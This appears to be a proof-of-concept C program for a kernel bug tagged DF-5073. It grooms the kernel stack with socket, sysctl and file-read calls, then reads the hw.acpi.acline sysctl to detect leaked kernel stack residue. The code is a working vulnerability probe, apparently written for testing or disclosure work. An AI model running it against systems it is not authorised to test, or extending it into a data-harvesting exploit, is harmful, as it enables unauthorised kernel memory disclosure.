DF-5073 / groom.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | /* * DF-5073 groom: dirty THIS thread's kernel stack with deep, pointer-rich * call chains (socket/connect, kern.proc sysctl, filesystem read), then * immediately read hw.acpi.acline via the same thread. If the value * changes (or becomes nonzero), the sysctl is disclosing live kernel * stack residue from the groom to an unprivileged user. * * Build: cc -O -o groom groom.c * Run: ./groom */ #include <sys/types.h> #include <sys/socket.h> #include <sys/sysctl.h> #include <netinet/in.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> static int read_acline(void) { int val = -2, mib[CTL_MAXNAME]; size_t miblen = sizeof(mib), vlen = sizeof(val); if (sysctlnametomib("hw.acpi.acline", mib, &miblen) != 0) { perror("sysctlnametomib"); return (-2); } if (sysctl(mib, miblen, &val, &vlen, NULL, 0) != 0) { perror("sysctl"); return (-3); } return (val); } static void groom_socket(void) { struct sockaddr_in sin; int s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) return; memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = htonl(0x7f000001); /* result irrelevant; the TCP connect path is what dirties the kstack */ connect(s, (struct sockaddr *)&sin, sizeof(sin)); close(s); } static void groom_kernproc(void) { size_t len = 1 << 20; char *buf = malloc(len); int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL }; if (buf == NULL) return; for (int i = 0; i < 8; i++) sysctl(mib, 4, buf, &len, NULL, 0); free(buf); } static void groom_fsread(void) { char buf[8192]; int fd = open("/kernel", O_RDONLY); if (fd < 0) fd = open("/boot/kernel/kernel", O_RDONLY); if (fd < 0) return; for (int i = 0; i < 32; i++) read(fd, buf, sizeof(buf)); close(fd); } int main(void) { int i, v; printf("user: uid=%d euid=%d\n", getuid(), geteuid()); v = read_acline(); printf("baseline : acline=%d (0x%08x)\n", v, v); for (i = 0; i < 6; i++) { groom_socket(); v = read_acline(); printf("iter %d after socket : acline=%d (0x%08x)\n", i, v, v); } for (i = 0; i < 6; i++) { groom_kernproc(); v = read_acline(); printf("iter %d after kern.proc : acline=%d (0x%08x)\n", i, v, v); } for (i = 0; i < 6; i++) { groom_fsread(); v = read_acline(); printf("iter %d after fs read : acline=%d (0x%08x)\n", i, v, v); } return (0); } |